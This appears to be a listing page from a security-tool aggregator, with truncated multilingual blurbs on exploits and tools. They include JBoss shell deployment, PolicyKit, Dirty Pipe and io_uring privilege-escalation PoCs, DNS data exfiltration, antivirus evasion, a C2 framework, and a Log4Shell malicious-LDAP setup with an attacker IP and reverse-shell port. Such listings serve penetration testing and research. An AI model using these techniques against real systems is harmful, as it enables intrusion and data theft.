jboss-autopwn

jboss-autopwn JBoss Autopwn as featured at BlackHat Europe 2010 - this version incorporates CVE-2010-0738 the JBoss authentication bypass VERB manipulation vulnerability as discovered by Minded Security C. Papathanasiou 2010 INTRODUCTION This JBoss script deploys a JSP shell on the target JBoss A...

CVE-2018-19788

CVE-2018-19788 利用CVE-2018-19788 PolicyKit漏洞 在完全修补的CentOS7安装上利用PolicyKit漏洞的步骤。 root@centos7 groupadd -g 4000000000 cve201819788 root@centos7 useradd -m -c "User With High UID" -u 4000000000 -g 4000000000 -s /bin/bash cve201819788 root@centos7 id cve201819788 uid=4000000000cve201819788...

CVE-2024-0582

RU GenIoURingExploit 是一个针对 Linux 内核特定漏洞 CVE-2024-0582 的 PoC 利用程序。该 PoC 利用 iouring 机制，通过操纵套接字缓冲区并触发某些内核行为，获取未授权访问并可能提升权限。 特性 利用 iouring 实现高效的缓冲区操作。 演示 KASLR（内核地址空间布局随机化）泄漏。 利用与套接字缓冲区管理相关的漏洞。 通过受控的 IOCTL 调用触发利用。 提供通过内核操作执行任意 shell 命令的路径。 前提条件 基于 Linux 的系统（已在最新的发行版上测试）。 访问所需资源的 root 或管理员权限。 用于编译 C...

procrustes

Procrustes 一个 Bash 脚本，用于在拥有盲命令执行权限且除 DNS 外所有出站连接均被阻止的服务器上，通过 DNS 自动实现数据窃取。该脚本目前支持 sh、bash 和 powershell，并兼容 exec 类型的命令执行（例如 java.lang.Runtime.exec）。 非分段模式： 分段模式： 在运行过程中，脚本将用户希望在目标服务器上执行的命令作为输入，并根据目标 shell 类型对其进行转换，使其输出能够通过 DNS...

procrustes

Procrustes A bash script that automates the exfiltration of data over dns in case we have a blind command execution on a server where all outbound connections except DNS are blocked. The script currently supports sh, bash and powershell and is compatible with exec style command execution e.g...

avet

AntiVirus Evasion Tool AVET is not being further developed due to technical development and time constraints. AVET is an AntiVirus Evasion Tool, which was developed for making life easier for pentesters and for experimenting with antivirus evasion techniques, as well as other methods used by...

Commander

Commander Commander 是一个用 Python、Flask 和 SQLite 编写的命令与控制框架（C2）。它附带两个代理，分别用 Python 和 C 编写。 持续开发中 不适合脚本小子使用 功能 全加密通信（TLS） 多代理支持 混淆 交互式会话 可扩展 Base64 数据编码 RESTful API 代理 Python 3 Python 代理支持： 会话：管理员与代理之间的交互式 Shell（类似 SSH） 混淆 Windows 和 Linux 系统 文件上传/下载功能 C C 代理目前仅支持基本功能，即控制代理的任务 仅适用于 Linux 系统 环境要求 需要...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-Exploits 用于渗透测试人员和红队成员的一系列漏洞利用工具和文档，可辅助利用 Linux Dirty Pipe 漏洞。 关于漏洞 Dirty Pipe（CVE-2022-0847）是 Linux 内核中的一个本地提权漏洞，可能允许无权限用户执行以下操作： 修改/覆盖任意只读文件（如 /etc/passwd）。 获取提权后的 shell。 受影响版本 Linux 内核版本 5.8 及更新版本受影响。 到目前为止，该漏洞已在以下 Linux 内核版本中修复： 5.16.11 5.15.25 5.10.102...

CVE-2024-0582

简介 该漏洞利用实现了一种 Dirty Cred 攻击方法，以获得对 /etc/passwd 的未授权写入权限。与许多类似漏洞利用不同（它们会创建大量页面或激进地喷射文件描述符），本方法采取更具针对性的路线来破坏所需的内核结构。 漏洞利用流程（高级概览） 设置 CPU 亲和性并增加文件描述符限制 确保稳定的性能和足够的文件描述符用于喷射。 初始化 iouring 创建一个 iouring 实例并注册一个缓冲区环以供内核内存使用。 注销缓冲区环 触发漏洞，使内核数据结构处于可利用状态。 文件描述符喷射 打开大量指向 /etc/passwd 的文件描述符，期望破坏所需的内核对象。 修改文件模...

CVE-2023-48084

CVE-2023-48084 Corrige la sintaxis rota en el POC, principalmente importaciones incorrectas y referencias incorrectas a funciones de la API. Automatiza la obtención del APIToken, almacena el token como una variable y lo canaliza al POC corregido. https://github.com/Hamibubu/CVE-2023-48084 Si por...

oxo v2.9.29

OXO Scan Orchestration Engine OXO is a security scanning framework built for modularity, scalability, and simplicity. OXO Engine combines specialized tools to work cohesively to find vulnerabilities and perform actions like recon, enumeration, and fingerprinting. Documentation Agents Store CLI...

CVE-2021-35042

CVE-2021-35042 SQL injection via unsanitized QuerySet.orderby input Setup: Run ./setup.sh for initial setup Open the docker image to initiate the database: docker exec -it containerid /bin/bash And run the following commands: root@kitploit: python manage.py makemigrations cve202135042 python...

airborn-IOS-CVE-2025-24252

iOS "Airborne" 漏洞 - 日志人工产物提取器 该脚本旨在通过查询来自 .logarchive 包的 iOS 系统日志，帮助识别 "Airborne" 漏洞集（主要影响 Apple 的 AirPlay 协议）的潜在痕迹。它自动执行多个定制的 log show 命令，以发现可能与此类漏洞相关的异常。 免责声明： 本工具仅供信息调查目的。存在匹配这些查询的日志条目并不明确确认已被入侵。日志条目应结合上下文分析。未发现结果并不保证设备安全。请始终确保您的设备已更新到最新的操作系统版本。 关于作者与项目 该脚本由 Anton Shustikov...

CVE-2021-46704

GenieACS中的OS命令注入漏洞 CVE-2021-46704 CVE-2021-46704 Nuclei模板 参考： https://github.com/advisories/GHSA-2877-693q-pj33 https://nvd.nist.gov/vuln/detail/CVE-2021-46704 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-46704 https://debricked.com/vulnerability-database/vulnerability/CVE-2021-46704...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- 渗透测试 1. 创建恶意LDAP服务器（使用Marshalsec） !/bin/bash Script: startldapserver.sh 要求：安装Java和Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ 在端口 $LDAPPORT 上启动恶意LDAP服务器..." java -cp...

protocol-fuzzer-ce

:toc: = GitLab 协议模糊测试器社区版 本项目基于 Peach Fuzzer Professional v4，后者于 2020 年被 GitLab 收购。Peach Fuzzer Professional 的某些功能已被移除，并将在未来作为 GitLab 的一部分提供。本项目替代了托管在 GitLab 和 Source Forge 上的 Peach Fuzzer 社区项目。 由于此代码最初由 Peach Tech 开发，仓库中可能多处提及 Peach Tech 的员工、电子邮件地址、网站或特有功能。这些内容将逐步更新为指向 GitLab。如果你发现此类内容，欢迎提交 MR...

CVE-2021-1366

CVE-2021-1366 Cisco AnyConnect Posture HostScan 本地权限提升：CVE-2021-1366 Windows 版 Cisco AnyConnect Secure Mobility Client 的进程间通信 IPC 通道中存在一个漏洞，如果 AnyConnect 客户端上安装了 VPN Posture HostScan 模块，则允许经过身份验证的本地攻击者在受影响的设备上执行 DLL 劫持攻击。 此 POC 向 Cisco 安全服务 ciscod.exe 发送 2 条 privfilecopy IPC 命令，将 2 个 DLL 复制到...

nextjs-CVE-2025-29927-hunter

关于 一个简单的Python工具，自动执行Shodan搜索并过滤目标IP/域名，以识别在Next.js部署中可能受CVE-2025-29927影响的资产。 用法 提取IP和域名 root@kitploit: python3 nextjs-CVE-2025-29927-hunter.py -t target.com 仅提取域名 root@kitploit: python3 nextjs-CVE-2025-29927-hunter.py -t target.com -dom 仅提取IP root@kitploit: python3 nextjs-CVE-2025-29927-hunter.p...

pentest-machine

pentest-machine 通过nmap XML文件自动化部分渗透测试工作。每完成一个命令，它就会将输出写入终端以及 output-by-service/ 和 output-by-host/ 目录下的文件中。先执行快速返回的命令。如果您希望看到包含的命令/协议/选项，请告知。 HTTP whatweb WPScan（仅当 whatweb 返回 WordPress 结果时启动） EyeWitness（带主动登录尝试） 轻量级 dirb 目录暴力枚举 DNS nmap NSE dns-zone-transfer 和 dns-recursion MySQL 轻量级 patator 暴力破解...

galah

简介：Galah（/ɡəˈlɑː/，发音为“guh-laa”）是一个基于LLM的Web蜜罐，旨在模仿各种应用程序并动态响应任意HTTP请求。Galah支持主流LLM提供商，包括OpenAI、GoogleAI、GCP的Vertex AI、Anthropic、Cohere和Ollama。 与传统Web蜜罐手动模拟特定Web应用程序或漏洞不同，Galah能够动态生成与任意HTTP请求相关的响应——包括HTTP标头和正文内容。LLM生成的响应会缓存一段可配置的时间，以避免对相同请求重复生成，从而降低API成本。缓存是端口专用的，确保为特定端口生成的响应不会在另一个端口上对相同请求复用。...